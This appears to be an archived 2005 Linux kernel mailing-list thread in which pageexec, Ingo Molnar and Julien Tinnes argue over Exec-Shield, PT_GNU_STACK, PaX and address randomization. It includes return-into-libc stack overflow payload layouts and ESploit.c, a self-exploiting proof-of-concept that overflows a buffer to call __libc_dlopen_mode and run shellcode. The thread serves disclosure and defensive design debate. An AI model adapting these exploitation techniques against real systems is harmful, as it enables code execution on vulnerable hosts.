    eceb:	75 3b                	jne    ed28 <_dl_make_stack_executable+0xd8>
    eced:	39 b3 d0 fc ff ff    	cmp    %esi,0xfffffcd0(%ebx)
    ecf3:	74 5b                	je     ed50 <_dl_make_stack_executable+0x100>
    ecf5:	89 f1                	mov    %esi,%ecx
    ecf7:	d1 e9                	shr    %ecx
    ecf9:	89 ce                	mov    %ecx,%esi
    ecfb:	01 cf                	add    %ecx,%edi
    ecfd:	8b 93 14 ff ff ff    	mov    0xffffff14(%ebx),%edx
    ed03:	81 e2 ff ff ff fe    	and    $0xfeffffff,%edx
    ed09:	89 54 24 08          	mov    %edx,0x8(%esp)
    ed0d:	89 74 24 04          	mov    %esi,0x4(%esp)
    ed11:	89 3c 24             	mov    %edi,(%esp)
    ed14:	e8 e7 29 00 00       	call   11700 <__mprotect>
    ed19:	85 c0                	test   %eax,%eax
    ed1b:	74 a3                	je     ecc0 <_dl_make_stack_executable+0x70>
    ed1d:	8b 83 08 05 00 00    	mov    0x508(%ebx),%eax
    ed23:	83 f8 0c             	cmp    $0xc,%eax
    ed26:	74 c5                	je     eced <_dl_make_stack_executable+0x9d>
    ed28:	83 c4 10             	add    $0x10,%esp
    ed2b:	5b                   	pop    %ebx
    ed2c:	5e                   	pop    %esi
    ed2d:	5f                   	pop    %edi
    ed2e:	5d                   	pop    %ebp
    ed2f:	c3                   	ret    
    ed30:	8b 8b 14 ff ff ff    	mov    0xffffff14(%ebx),%ecx
    ed36:	89 4c 24 08          	mov    %ecx,0x8(%esp)
    ed3a:	8b 93 d0 fc ff ff    	mov    0xfffffcd0(%ebx),%edx
    ed40:	89 3c 24             	mov    %edi,(%esp)
    ed43:	89 54 24 04          	mov    %edx,0x4(%esp)
    ed47:	e8 b4 29 00 00       	call   11700 <__mprotect>
    ed4c:	85 c0                	test   %eax,%eax
    ed4e:	75 27                	jne    ed77 <_dl_make_stack_executable+0x127>
    ed50:	83 8b 34 04 00 00 01 	orl    $0x1,0x434(%ebx)
    ed57:	31 c0                	xor    %eax,%eax
    ed59:	8b 7d f0             	mov    0xfffffff0(%ebp),%edi
    ed5c:	c7 07 00 00 00 00    	movl   $0x0,(%edi)
    ed62:	83 c4 10             	add    $0x10,%esp
    ed65:	5b                   	pop    %ebx
    ed66:	5e                   	pop    %esi
    ed67:	5f                   	pop    %edi
    ed68:	5d                   	pop    %ebp
    ed69:	c3                   	ret    
    ed6a:	83 c4 10             	add    $0x10,%esp
    ed6d:	b8 01 00 00 00       	mov    $0x1,%eax
    ed72:	5b                   	pop    %ebx
    ed73:	5e                   	pop    %esi
    ed74:	5f                   	pop    %edi
    ed75:	5d                   	pop    %ebp
    ed76:	c3                   	ret    
    ed77:	8b 83 08 05 00 00    	mov    0x508(%ebx),%eax
    ed7d:	83 f8 16             	cmp    $0x16,%eax
    ed80:	75 a6                	jne    ed28 <_dl_make_stack_executable+0xd8>
    ed82:	c6 83 d4 04 00 00 01 	movb   $0x1,0x4d4(%ebx)
    ed89:	e9 20 ff ff ff       	jmp    ecae <_dl_make_stack_executable+0x5e>
    ed8e:	90                   	nop    
    ed8f:	90                   	nop    

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[pageexec]

> > dl_make_stack_executable() will nicely return into user_input
> > (at which time the stack has already become executable).
> 
> wrong, _dl_make_stack_executable() will not return into user_input() in
> your scenario, and your exploit will be aborted. Check the glibc sources
> and the implementation of _dl_make_stack_executable() in particular. 

oh, you mean the invincible __check_caller(). one possibility:

[...]
[field1 and other locals replaced with shellcode]
[value of __libc_stack_end]
[some space for the local variables of dl_make_stack_executable and others]
[saved EBP replaced with anything in this case]
[saved EIP replaced with address of a 'pop eax'/'retn' sequence]
[address of [value of __libc_stack_end], loads into eax]
[address of dl_make_stack_executable()]
[address of a suitable 'retn' insn in ld.so/libpthread.so]
[user_input left in place, i.e., overflows end before this]
[...]

this payload needs two overflows to construct the two 0 bytes needed
(a memcpy based one would easily get away with one of course) and an
extra condition in that in order to load eax we need to find an
addressable (executable memory outside the ascii armor, this may
very well include some library/main executable .data/.bss as well
under Exec-Shield) 2 byte sequence that encodes pop eax/retn or
popad/retn (for the latter the stack has to be filled appropriately
with more data of course). other sequences could do the job as well,
these two are just the trivial ones that come to mind and i found
in some binaries i checked quickly (my sshd also has a sequence of
pop eax/pop ebx/pop esi/pop edi/pop ebp/retn for example, suitable
as well). the question of whether you can get away with one overflow
(strcpy() or similar based) is open, i don't quite have the time to
hunt down all the nice insn sequences that can help loading registers
with proper content and execute dl_make_stack_executable() or a
suitable part of it. at least there's no explicit mechanism in this
system that would prevent it in a guaranteed way.

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Ingo Molnar]

* pageexec@freemail.hu <pageexec@freemail.hu> wrote:

> > > dl_make_stack_executable() will nicely return into user_input
> > > (at which time the stack has already become executable).
> > 
> > wrong, _dl_make_stack_executable() will not return into user_input() in
> > your scenario, and your exploit will be aborted. Check the glibc sources
> > and the implementation of _dl_make_stack_executable() in particular. 
> 
> oh, you mean the invincible __check_caller(). one possibility:
> 
> [...]
> [field1 and other locals replaced with shellcode]
> [value of __libc_stack_end]
> [some space for the local variables of dl_make_stack_executable and others]
> [saved EBP replaced with anything in this case]
> [saved EIP replaced with address of a 'pop eax'/'retn' sequence]
> [address of [value of __libc_stack_end], loads into eax]
> [address of dl_make_stack_executable()]
> [address of a suitable 'retn' insn in ld.so/libpthread.so]
> [user_input left in place, i.e., overflows end before this]
> [...]

still wrong. What you get this way is a nice, complicated NOP.

	Ingo

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[pageexec]

[-- Attachment #1: Mail message body --]
[-- Type: text/plain, Size: 2581 bytes --]

> still wrong. What you get this way is a nice, complicated NOP.

not only a nop but also a likely crash given that i didn't adjust
the declaration of some_function appropriately ;-). let's cater
for less complexity too with the following payload (of the 'many
other ways' kind):

[field1 and other locals replaced with shellcode]
[space to cover the locals of __libc_dlopen_mode()]
[fake EBX]
[fake ESI]
[fake EBP]
[address of field1 (shellcode)]
[address of user_input+x, ends with "libbeecrypt.so"]
[fake mode for __libc_dlopen_mode(), 0x01010101 will do]
[space for the local variables of __libc_dlopen_mode() and others]
[saved EBP replaced with address of [fake EBP]]
[saved EIP replaced with address of __libc_dlopen_mode()+3]
[user_input no longer used in the exploit]

user_input (the original, untouched buffer) ends with a suitable
library name (such as "libbeecrypt.so", see [1]). this string could
have also been left behind in the address space somewhere during
earlier interactions. we have to produce one 0 byte only hence
we're back at the generic single overflow case. this also no longer
relies on the user_input argument being at a particular address on
the stack, so it's a generic method in that regard as well.

one disadvantage of this approach is that now not only the
randomness in libc.so has to be found but also that of the stack
(repeating parts of the payload would help reduce it though), and
if user_input itself is on the heap (and there're no copies on the
stack), we'll need that randomness too.

in any case, you got your exploit method against latest Fedora (see
the attachment [2]), this should prove that paxtest does the right
thing when it exposes the weaknesses of Exec-Shield. now, will you
and Arjan do the right thing and apologize to us or do you still
maintain that paxtest is a sabotage?

[1] https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132149
    it also appears that not only the design and implementation of
    PT_GNU_STACK are broken but its deployment as well. not even
    its creators managed to get it right, what can we expect from
    unsuspecting distros? 5 months and still no resolution? does
    this backdoor really belong into linux?

[2] ESploit.c is a simple proof of concept self-exploiting test
    that will hang itself when successful. compiler optimizations
    and randomizations can introduce 0 bytes in some of the
    addresses used (check shellcode length), play with them a bit
    to get it to run. stack usage in the (ab)used libc functions
    may also require adjusting the buffer sizes.


[-- Attachment #2: Attachment information. --]
[-- Type: text/plain, Size: 472 bytes --]

The following section of this message contains a file attachment
prepared for transmission using the Internet MIME message format.
If you are using Pegasus Mail, or any other MIME-compliant system,
you should be able to save it or view it from within your mailer.
If you cannot, please ask your system administrator for assistance.

   ---- File information -----------
     File:  ESploit.c
     Date:  8 Feb 2005, 0:07
     Size:  1294 bytes.
     Type:  Program-source

[-- Attachment #3: ESploit.c --]
[-- Type: Application/Octet-stream, Size: 1294 bytes --]

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>

char buffer[8192];
void * handle, * mydlopen, * retaddr;
unsigned long eip, fakeebp, * tmp = (unsigned long*)buffer;

void overflow(char * field1, char * user_input)
{
  strcpy(field1, user_input);
}

int main()
{
  unsigned long shellcode[1024];

  handle = dlopen(NULL, RTLD_LAZY);
  if (!handle) {
    printf("dlopen error: %s\n", dlerror());
    return -1;
  }
  dlerror();
  mydlopen = dlsym(handle, "__libc_dlopen_mode");
  if (!dlerror) {
    printf("dlsym error\n");
    return -1;
  }
  printf("mydlopen: %p\n", mydlopen);

  retaddr = __builtin_return_address(0);
  printf("retaddr: %p\n", retaddr);

  for (eip=0; eip<16384; eip++) {
    if (shellcode[eip] == (unsigned long)retaddr)
      break;
  }
  if (16384 == eip) {
    printf("can't find saved EIP\n");
    return -1;
  }
  printf("saved EIP: %p at index %u\n", shellcode+eip, eip);

  memset(buffer, 0xFA, sizeof buffer);
  buffer[0] = 0xEB;
  buffer[1] = 0xFE;
  fakeebp = eip-1000;
  tmp[eip-1] = &shellcode[fakeebp];
  tmp[eip] = (char*)mydlopen+3;
  tmp[eip+1] = 0;
  tmp[fakeebp+1] = shellcode;
  tmp[fakeebp+2] = "libbeecrypt.so";
  tmp[fakeebp+3] = 0x01010101;
  printf("shellcode length: %x\n", strlen(buffer));
  overflow(shellcode, buffer);
  return 0;
}

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Ingo Molnar]

* pageexec@freemail.hu <pageexec@freemail.hu> wrote:

> > still wrong. What you get this way is a nice, complicated NOP.
> 
> not only a nop but also a likely crash given that i didn't adjust
> the declaration of some_function appropriately ;-). let's cater
> for less complexity too with the following payload (of the 'many
> other ways' kind):
> 
> [field1 and other locals replaced with shellcode]
> [space to cover the locals of __libc_dlopen_mode()]

yes, i agree with you, __libc_dlopen_mode() is an easier target (but not
_that_ easy of a target, see further down), and your code looks right -
but what this discussion was about was the _dl_make_stack_executable()
function. Similar 'protection' techniques can be used for
__libc_dlopen_mode() too, and it's being fixed.

(you'd be correct to point out that what cannot be 'fixed' even this way
are libdl.so using applications and the dlopen() symbol - for them, if
randomization is not enough, PaX or SELinux is the fix.)

> one disadvantage of this approach is that now not only the randomness
> in libc.so has to be found but also that of the stack (repeating parts
> of the payload would help reduce it though), and if user_input itself
> is on the heap (and there're no copies on the stack), we'll need that
> randomness too.

such an attack needs to get 2 or 3 random values right - which,
considering 13-bits randomization per value is still 26-39 bits (minus
the constant number of bits you can get away via replication). If the
stack wasnt nonexec then the attack would need to get only 1 random
value right. In that sense it still makes quite a difference in
increasing the complexity of the attack, do you agree?

Yes, the drastic method is to disable the adding of code to a process
image altogether (PaX did this first, and does a nice job in that, and
SELinux is catching up as well), but that clearly was not a product
option when PT_GNU_STACK was written. As you can see on lkml, people are
resisting changes hard that affect 2-3 apps. What chances do changes
have that break dozens of common applications? PT_GNU_STACK is not
perfect, but it was the maximum we could get away on the non-selinux
side of the distribution, mapping many of the dependencies and
assumptions of apps.

So PT_GNU_STACK is certainly a beginning, and as the end result
(hopefully soon) we can do away with libraries having any RWE
PT_GNU_STACK markings (so that only binaries can carry RWE) and can move
make_stacks_executable() from libc.so. You seem to consider these steps
of how Fedora 'morphs' into a productized version of SELinux as 'fully
vulnerable' (and despise it), there's no way around walking that walk
and persuading users to actually follow - which is the hardest part.

	Ingo

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[pageexec]

> yes, i agree with you, __libc_dlopen_mode() is an easier target (but not
> _that_ easy of a target, see further down), and your code looks right

actually, line 25 is crap (talk about 'coding while intoxicated' ;-),
it should be 'if (dlerror())' of course. also, you should really try
to run the code as it exposes a bug in your handling of PT_GNU_STACK
and RELRO and dlopen(), at least i ran into it on my system and a user
reported it under FC3 too (hint: '__stack_prot attribute_relro' is not
such a great idea).

> but what this discussion was about was the _dl_make_stack_executable()
> function.

the jury is still out on that one, i just don't have the time and beer
to do the full research that a real exploit writer would do. in security,
unless proven otherwise, we try to assume the worse case. and given how
there's no specific uncircumventable protection measure in that function
either, i wouldn't be surprised at all if it can be directly exploited.

second, __libc_dlopen_mode *does* make use of said function, albeit not
directly, but it's still the work horse (and the underyling (in)security
problem), so to speak.

> Similar 'protection' techniques can be used for __libc_dlopen_mode()
> too, and it's being fixed.

if you mean __check_caller() and others, i have my doubts, if a symbol
can be looked up by dlsym() then you can't assume that no real life app
does it already (and would break if you enforced libc-only callers).
yes, you can argue that this symbol should not have been visible to
everyone to begin with, but it's now after the fact.

the bigger problem is however that you're once again fixing the symptoms,
instead of the underlying problem - not the correct approach/mindset.

also consider that __check_caller() and the other 'security' techniques
you put into Fedora are all trivially breakable in an memcpy() or similar
overflow (this whole exercise here was about showing how even string
based overflows can still be exploited).

> (you'd be correct to point out that what cannot be 'fixed' even this way
> are libdl.so using applications and the dlopen() symbol - for them, if
> randomization is not enough, PaX or SELinux is the fix.)

for example apache links against libdl, so there are real life apps out
there affected by this technique. i don't see how SElinux enters this
picture though, it (and other access control mechanisms) serve a
different purpose, they don't stop exploits of memory corruption bugs,
they enforce least privilege (to whatever degree). the danger of relying
on access control under Exec-Shield is that once an attacker can execute
his own code on the target system (ESploit shows how), all it takes is
a single exploitable kernel bug and he's in for good. and as the past
months have shown, such bugs are not exactly unheard of in linux land.

> such an attack needs to get 2 or 3 random values right - which,
> considering 13-bits randomization per value is still 26-39 bits (minus
> the constant number of bits you can get away via replication).

the maths doesn't quite work that way. what matters is not how many
random values you have to get right, but how much entropy you have to
get right. the difference is that if two random values have the same
entropy (e.g., they have a constant difference or are derived from the
same randomness at least, something an attacker can observe on a test
system) then that's only one randomness to guess, not two. in my
example exploit payload we have one random value from libc and a few
on the stack - the latter share the entropy. this should also explain
why PaX doesn't bother with individual library randomization and why
your recent submission into -mm is missing the target (not to mention
implementation issues), it's just a waste of entropy when an exploit
doesn't need more than one library (and as ESploit shows, it doesn't).
i'd also add that all this number juggling becomes worthless if
information can be leaked from the attacked task.

so the maths under Exec-Shield would be 12+16 bits or so, if i'm not
mistaken. whether that actually means 12+16=28 or log2(2^12+2^16)~=16
depends on whether an attacker has to learn (guess) them together at
once, or can learn them individually.

the paper i linked to in my first post in this thread shows you a
technique that can find out the libc randomization without having to
learn the stack one.

that technique is neither new nor the only one that can do this. to your
defense, i'd held this belief 3 years ago too (i.e., that randomness
of different areas would have to be guessed at once) but for some time
i'm much less sure that it's a useful generic assumption.

> If the stack wasnt nonexec then the attack would need to get only
> 1 random value right. In that sense it still makes quite a difference
> in increasing the complexity of the attack, do you agree?

based on the above explanation of what i know, i don't agree *in general*,
it has to be rather a special case when one really has to guess different
randomizations at once (again, unless proven otherwise, i'll assume the
worse case).

on another note, increasing the complexity of exploits this way is not
a good idea if you want the slightest security guarantees for your
system. the problem is that without a crash monitoring/reaction
mechanism one can just happily keep trying and eventually get in - what
is the point then?

in the PaX strategy the reason for using randomization is that we can't
do much (yet) against the two other classes of exploit techniques plus
it's a cheap measure, so 'why not'. but it's not a security measure in
the sense that controlling runtime code generation is. in other words,
the security guarantee that PaX gives doesn't rely on randomization,
while you seem to be putting too much faith into it when discussing the
value provided by Exec-Shield.

even with crash monitoring/reaction one can only claim a 'probabilistic 
guarantee', something that's not always good enough (it's may be ok on
a client system where you protect say a web browser but it's less useful
on servers because of service level constraints).

> Yes, the drastic method is to disable the adding of code to a process
> image altogether (PaX did this first, and does a nice job in that, and
> SELinux is catching up as well), but that clearly was not a product
> option when PT_GNU_STACK was written. 

again, SElinux doesn't do memory protection per se, it has to be (and
is) a VM subsystem thing. what they did recently is rounding out the
memory protection facilites of the VM by adding access control for
executable mappings.

we've done all this in grsecurity for something like 4 years now and in 
Hardened Gentoo we've had SElinux working with PaX for a year, similar
for RSBAC.

> As you can see on lkml, people are resisting changes hard that
> affect 2-3 apps. What chances do changes have that break dozens of
> common applications?

i don't see your dilemma. having the ability to control runtime code
generation (making it a privilege, instead of a given) is orthogonal to
its deployment strategy (that mostly comes down to 'default on' or
'default off'). i don't think the kernel should have the policy for the
latter, it's better left for users/distros. the kernel should however
provide the means to implement policies that restrict runtime code
generation. in my opinion anyway.

as a distro, you can make it 'default off' and you're set for backwards
compatibility while giving users at least the option to begin using the
extra security measures. then work on your distro to be able to enable
the restrictions on more and more apps or to be able to run with
'default on' (and/or have a 'hardened' version that does the latter
from the beginning). in the PaX world we have Adamantix and Hardened
Gentoo that run with 'default on'. you also seem to have been following
this strategy with SElinux, i don't see why it wouldn't work with other
security measures then.

now if you try the 'default on' approach then you'll actually break apps.
in my experience, they come in these flavours:

- apps that need to generate code at runtime but do so without asking
  for the right memory permissions, e.g., libjvm.so having code in .data.
  as Linus also said in another thread lately, they're broken and should
  be fixed. problem is of course 3rd party/binary stuff that cannot be
  fixed just like that.

- apps that generate code at runtime but don't really need to. think of
  nested function trampolines, the XFree86 ELF loader, etc. these apps
  are arguably 'broken', from my point of view they're carelessly
  written as they need more privileges than what is really necessary.
  for the past few years i've tried to help various projects to
  eliminate these problems, but there's always more work to do...

- apps that by their nature want/need to generate code at runtime. think
  VMs/JIT engines, etc. they of course cannot be 'fixed' as they're not
  broken per se. rather, they have to be allowed to generate code at
  runtime, and in as secure a way as possible.

to solve all these problems one needs at least a system that can grant
this privilege on a per app basis. the PaX solution is the PT_PAX_FLAGS
ELF program header and the access control system hooks. PT_GNU_STACK
doesn't solve these problems, i explained in your bugzilla why that is.

now imagine if i had added support for PT_GNU_STACK in PaX, i would have
opened up a true backdoor that every exploit writer with half a brain
could have abused to break PaX a la ESploit.

> PT_GNU_STACK is not perfect,

that's quite an understatement Ingo, if you want my uncensored opinion,
it's utter crap. it would be nice if you guys actually responded to my
claims in your bugzilla instead of remaining silent or trying to explain
it away in generic terms as above. your work affects the whole linux
world and they deserve to know. and on a personal note, it's getting
really tiring to scan latest 2.6.x for patches i have to revert or work
around in PaX.

> but it was the maximum we could get away on the non-selinux side of
> the distribution, mapping many of the dependencies and assumptions
> of apps.

you weren't even trying to solve the right problem, no wonder you came
up with something as broken as PT_GNU_STACK. the problem, once again, for
those not bothering to read your bugzilla, is not whether an app wants
an executable stack or not, it's about the privilege of runtime code
generation. it affects the stack just as much as it does the heap, anon
mappings, .data/.bss, whatever.

now you can argue that this ability should not be a privilege, then it's
fine, we're just solving completely different security issues (which is
probably not the case as your work claims to protect against the same
exploits that PaX does).
 
> So PT_GNU_STACK is certainly a beginning, and as the end result
> (hopefully soon) we can do away with libraries having any RWE
> PT_GNU_STACK markings (so that only binaries can carry RWE) and can
> move make_stacks_executable() from libc.so.

i'd like to see how that will solve the problem when an app uses dlopen()
to open a library that uses nested function trampolines. i hope you're
not suggesting that you'll be able to rewrite the whole world and get
rid of such libraries (which, however a noble goal, is impossible). and
if it will take 5+ months for each such case, i see only bad news for
Fedora.

once again, you believe that by trying to handle the symptoms, the
underlying disease will go away. it won't, but for my part i'll stop
contributing more exploit techniques here, it apparently is a pointless
exercise.

> You seem to consider these steps of how Fedora 'morphs' into a
> productized version of SELinux as 'fully vulnerable' (and despise it),

you again bring up SElinux, i can't fathom how it has anything to do with
what i said about Exec-Shield, PT_GNU_STACK and related issues. if i have
a problem then it's about your (you and your colleagues) whole attitude
and approach to security. read again this response you gave me and tell
me where you addressed a *single* technical issue i raised here or in
your bugzilla. see the problem? do you understand that PT_GNU_STACK is
broken by *design* (or rather, its lack thereof)? is there noone among
the PT_GNU_STACK creators who has anything to say about my claims? all
agree? or disagree? have you got any arguments we can discuss?

> there's no way around walking that walk and persuading users to
> actually follow - which is the hardest part.

what's even harder is making you understand that what you are giving
your users and customers is false claims and sense of security. and i
still haven't heard from you guys on the paxtest 'sabotage'.

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Ingo Molnar]

* pageexec@freemail.hu <pageexec@freemail.hu> wrote:

> > but what this discussion was about was the _dl_make_stack_executable()
> > function.
> 
> the jury is still out on that one, i just don't have the time and beer
> to do the full research that a real exploit writer would do. in
> security, unless proven otherwise, we try to assume the worse case.
> and given how there's no specific uncircumventable protection measure
> in that function either, i wouldn't be surprised at all if it can be
> directly exploited.

well. It's at least not as trivial as you made it sound ;-)

> second, __libc_dlopen_mode *does* make use of said function, albeit
> not directly, but it's still the work horse (and the underyling
> (in)security problem), so to speak.

that's correct.

> > Similar 'protection' techniques can be used for __libc_dlopen_mode()
> > too, and it's being fixed.
> 
> if you mean __check_caller() and others, i have my doubts, if a symbol
> can be looked up by dlsym() then you can't assume that no real life
> app does it already (and would break if you enforced libc-only
> callers). yes, you can argue that this symbol should not have been
> visible to everyone to begin with, but it's now after the fact.

relying on internal glibc symbols has always been frowned upon. The name
can change anytime, the API can change. So no, this is not an issue.

> the bigger problem is however that you're once again fixing the
> symptoms, instead of the underlying problem - not the correct
> approach/mindset.

my position is that there is _no_ 100% solution (given the
circumstances), hence it's all a probabilistic game and about balancing
between tradeoffs.

> > (you'd be correct to point out that what cannot be 'fixed' even this way
> > are libdl.so using applications and the dlopen() symbol - for them, if
> > randomization is not enough, PaX or SELinux is the fix.)
> 
> for example apache links against libdl, so there are real life apps
> out there affected by this technique. [...]

yes. But not all hope is lost, there's a linker feature that avoids the
dlopen()ing of RWE DSOs. We've activated this and this will solve at
least the libbeecrypt-alike problems.

> [...] i don't see how SElinux entersthis picture though, it (and other
> access control mechanisms) serve a different purpose, they don't stop
> exploits of memory corruption bugs, they enforce least privilege (to
> whatever degree). [...]

well, SELinux can be helpful in limiting dlopen() access - and if a
context can do no valid dlopen() (due to SELinux restrictions) then the
stacks dont need to be made executable either.

> [...] the danger of relying on access control under Exec-Shield is
> that once an attacker can execute his own code on the target system
> (ESploit shows how), all it takes is a single exploitable kernel bug
> and he's in for good. and as the past months have shown, such bugs are
> not exactly unheard of in linux land.

so ... in what way does PaX protect against all possible types of
'arbitrary code execution', via the exploit techniques i outlined in the
previous mail?

> > such an attack needs to get 2 or 3 random values right - which,
> > considering 13-bits randomization per value is still 26-39 bits (minus
> > the constant number of bits you can get away via replication).
> 
> the maths doesn't quite work that way. what matters is not how many
> random values you have to get right, but how much entropy you have to
> get right. [...]

the example in that case was libc,heap,stack, which are independent
random variables and hence their entropy adds up. Once there's any
coupling between two addresses, only the independent bits (if any) add
up.

> i'd also add that all this number juggling becomes worthless if
> information can be leaked from the attacked task.

yes, information leaks can defeat ASLR, and it obviously affects PaX
just as much.

> so the maths under Exec-Shield would be 12+16 bits or so, if i'm not
> mistaken. [...]

that's what i said too: 13+13 [to stay simple], or 13+13+13 if the heap
is involved too.

> the paper i linked to in my first post in this thread shows you a
> technique that can find out the libc randomization without having to
> learn the stack one.
> 
> that technique is neither new nor the only one that can do this. to
> your defense, i'd held this belief 3 years ago too (i.e., that
> randomness of different areas would have to be guessed at once) but
> for some time i'm much less sure that it's a useful generic
> assumption.

if you have a fork() based daemon (e.g. httpd) that will tolerate
brute-force attacks then indeed you can 'probe' individual address
components and reduce an N*M attack to N+M.

and there are techniques against this: e.g. sshd already re-execs itself
periodically. (i'm not sure about httpd, if it doesnt then it should
too.)

> > If the stack wasnt nonexec then the attack would need to get only
> > 1 random value right. In that sense it still makes quite a difference
> > in increasing the complexity of the attack, do you agree?
> 
> based on the above explanation of what i know, i don't agree *in
> general*, it has to be rather a special case when one really has to
> guess different randomizations at once (again, unless proven
> otherwise, i'll assume the worse case).

well in the worst-case you have a big fat information leak that gives
you all the address-space details. According to this logic it makes no
sense to even think about ASLR, right? ;)

> on another note, increasing the complexity of exploits this way is not
> a good idea if you want the slightest security guarantees for your
> system. the problem is that without a crash monitoring/reaction
> mechanism one can just happily keep trying and eventually get in -
> what is the point then?

there are no guarantees whatsoever, if a C-style application gets
overflown on the stack! (except some rare, very degenerate cases)

> in the PaX strategy the reason for using randomization is that we
> can't do much (yet) against the two other classes of exploit
> techniques [...]

they are not 'two other classes of exploit techniques'. Your
categorization is a lowlevel one centered around machine code:

   (1) introduce/execute arbitrary code
   (2) execute existing code out of original program order
   (3) execute existing code in original program order with arbitrary
       data

these are variations of one and the same thing: injecting code into a
Turing machine. I'm not sure why you are handling the execution of
arbitrary code (which in your case, wants to mean 'arbitrary machine
code') in any way different from 'execute existing code out of original
program order'. A chain of libc functions put on the stack _is_ new code
for all practical purposes. And as you've mentioned it earier too, there
are 'suitable' byte patterns in alot of common binaries, which you can
slice & dice together to build something useful.

trying to put some artificial barrier between 'arbitrary machine code'
and 'arbitrary interpreted code' is just semantics, it doesnt change the
fundamental fact that all of that is arbitrary program logic, caused by
arbitrary bytes being passed in to the function stack. Attackers will
pick whichever method is easier, not whichever method is 'more native'!

> [...] plus it's a cheap measure, so 'why not'. [...]

(btw., wasting 128 MB of the x86 stack on average is all but 'cheap')

> [...] but it's not a security measure in the sense that controlling
> runtime code generation is. in other words, the security guarantee
> that PaX gives doesn't rely on randomization, [...]

the data passed into a stack overflow is, by itself, without compiler
help, 'arbitrary runtime code' in a form. You only have to find or
construct the right interpreter for it. So to talk about any 'security
guarantee' in such a scenario is pointless.

> even with crash monitoring/reaction one can only claim a
> 'probabilistic guarantee', something that's not always good enough

i claim that 'arbitrary stack overflows', without compiler help, can
only be protected against in a probabilistic way.

> > As you can see on lkml, people are resisting changes hard that
> > affect 2-3 apps. What chances do changes have that break dozens of
> > common applications?
> 
> i don't see your dilemma. having the ability to control runtime code
> generation (making it a privilege, instead of a given) [...]

so ... how do you define 'runtime code generation', and why do you
exclude non-native execution methods, precisely? I still claim it cannot
be deterministically controlled as a whole so it is of no significance
to the security guarantees of the system whether the native portion is
controlled deterministically or not. (because there are no guarantees
for this one.)

The rest of your mail centers around this contention that 'code
generation' is equivalent to 'binary machine code injection' and can
thus be controlled; so until this fundamental issue is cleared it makes
little sense to answer the other 'when did you stop beating your wife'
questions :-)

	Ingo

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Ingo Molnar]

btw., do you consider PaX as a 100% sure solution against 'code
injection' attacks (meaning that the attacker wants to execute an
arbitrary piece of code, and assuming the attacked application has a
stack overflow)? I.e. does PaX avoid all such attacks in a guaranteed
way?

	Ingo

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[pageexec]

> btw., do you consider PaX as a 100% sure solution against 'code
> injection' attacks (meaning that the attacker wants to execute an
> arbitrary piece of code, and assuming the attacked application has a
> stack overflow)? I.e. does PaX avoid all such attacks in a guaranteed
> way?

your question is answered in http://pax.grsecurity.net/docs/pax.txt
that i suggested you to read over a year ago. the short answer is
that it's not only about stack overflows but any kind of memory
corruption bugs, and you need both a properly configured kernel
(for PaX/i386 that would be SEGMEXEC/MPROTECT/NOELFRELOCS) and an
access control system (to take care of the file system and file
mappings) and a properly prepared userland (e.g., no text relocations
in ELF executables/libs, which is a good thing anyway).

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Ingo Molnar]

* pageexec@freemail.hu <pageexec@freemail.hu> wrote:

> > btw., do you consider PaX as a 100% sure solution against 'code
> > injection' attacks (meaning that the attacker wants to execute an
> > arbitrary piece of code, and assuming the attacked application has a
> > stack overflow)? I.e. does PaX avoid all such attacks in a guaranteed
> > way?
> 
> your question is answered in http://pax.grsecurity.net/docs/pax.txt
> that i suggested you to read over a year ago. the short answer is that
> it's not only about stack overflows but any kind of memory corruption
> bugs, and you need both a properly configured kernel (for PaX/i386
> that would be SEGMEXEC/MPROTECT/NOELFRELOCS) and an access control
> system (to take care of the file system and file mappings) and a
> properly prepared userland (e.g., no text relocations in ELF
> executables/libs, which is a good thing anyway).

i'm just curious, assuming that all those conditions are true, do you
consider PaX a 100% sure solution against 'code injection' attacks?
(assuming that the above PaX and access-control feature implementations
are correct.) Do you think the upstream kernel could/should integrate it
as a solution against code injection attacks?

	Ingo

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Julien TINNES]

> i'm just curious, assuming that all those conditions are true, do you
> consider PaX a 100% sure solution against 'code injection' attacks?
> (assuming that the above PaX and access-control feature implementations
> are correct.) Do you think the upstream kernel could/should integrate it
> as a solution against code injection attacks?
> 
> 	Ingo

It depends on what you call 'code injection'.

- If code injection is the introduction of a new piece of directly 
executable-by-processor opcodes (I exclude interpreted code here) into a 
running process:

	1. If you trust the Linux kernel, your processor, etc..
	2. If you have a non executable pages semantics implementation
	3. If you have a restriction preventing PROT_EXEC|PROT_WRITE mappings 
from existing and any new PROT_EXEC mapping (meaning giving an existing 
mapping PROT_EXEC or creating a new PROT_EXEC mapping) from being created.

then the answer is yes.

PaX does 2 fully, and 3 partially:
  - It does'nt prevent executable file mapping (access control system must)
  - .text relocations are detected and permited if the option is enabled 
(necessary if you don't have PIC code)
  - there is an option that can be enable to emulate trampolines

But if you consider code injection as in your previous post:

 >btw., do you consider PaX as a 100% sure solution against 'code
 >injection' attacks (meaning that the attacker wants to execute an
 >arbitrary piece of code, and assuming the attacked application has a
 >stack overflow)? I.e. does PaX avoid all such attacks in a guaranteed
 >way?

then the answer to your question is no because a stack overflow usually 
allows two things: injection of new code, and execution flow redirection.
While the former is prevented, the later is not and the attacker could 
use chaining techniques as in [1] to execute "arbitrary code" (but not 
directly as an arbitrary, newly injected sequence of opcodes).
Address space obfuscation (address space layout randomization is one 
way) is making it harder (but not impossible, esp. if you don't have 
anything preventing the attacker from bruteforcing...) to use existing code.

[1]: Nergal, Advanced return into-lib(c) 
http://www.phrack.org/show.php?p=58&a=4


-- 
Julien TINNES - & france telecom - R&D Division/MAPS/NSS
Research Engineer - Internet/Intranet Security
GPG: C050 EF1A 2919 FD87 57C4 DEDD E778 A9F0 14B9 C7D6

